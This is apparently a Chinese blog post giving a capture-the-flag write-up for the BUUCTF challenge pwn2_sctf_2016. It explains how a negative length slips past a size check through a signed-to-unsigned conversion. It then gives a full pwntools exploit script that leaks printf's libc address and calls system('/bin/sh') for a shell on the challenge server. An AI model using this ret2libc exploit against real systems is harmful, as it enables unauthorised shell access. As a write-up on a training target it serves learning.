BUUCTF—pwn2_sctf_2016

先看看开了什么保护机制

打开32位ida看看

去vuln函数看看

先输入你要读入数据的长度,然后再读入数据,而且限制了长度不能大于32,也就是0x20,根本不够栈溢出,怎么办?之前是有强制类型转换,现在也没有啊,仔细看看发现get_n这个不是get啊,是自己写的函数,点进去看看

这个是自己写的函数,往a1里面读入a2的长度数据,然后自己看a2,是unsigned int,再看看vuln传的数据是int,强制类型转换,nice,这样就可以栈溢出了,再去找找后门函数


没后门、没system、没/bin/sh,害,不过还好,有printf函数,我们还可以泄露libc,接下来就是32位泄露libc地址的过程了

from pwn import*
from LibcSearcher import*
p=remote('node4.buuoj.cn',26463)
elf=ELF('./pwn2')
libc=ELF('./libc-2.23.so')
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
vuln=0x0804852f
main=0x080485b8
p.recvuntil('read?')
p.sendline(str(-1))
p.recvuntil('data!\n')
payload=b'a'*0x30+p32(printf_plt)+p32(vuln)+p32(printf_got)
p.sendline(payload)
p.recvuntil('\n')
printf_add=u32(p.recv(4))
print(hex(printf_add))
libc_base=printf_add-libc.symbols['printf']
system=libc_base+libc.symbols['system']
binsh=libc_base+libc.search(b'/bin/sh').__next__()
p.recvuntil('read?')
p.sendline(str(-1))
p.recvuntil('data!\n')
payload=b'a'*0x30+p32(system)+p32(main)+p32(binsh)
p.sendline(payload)
p.interactive()
posted @ 2022-10-16 15:45  予柒  阅读(497)  评论(0编辑  收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/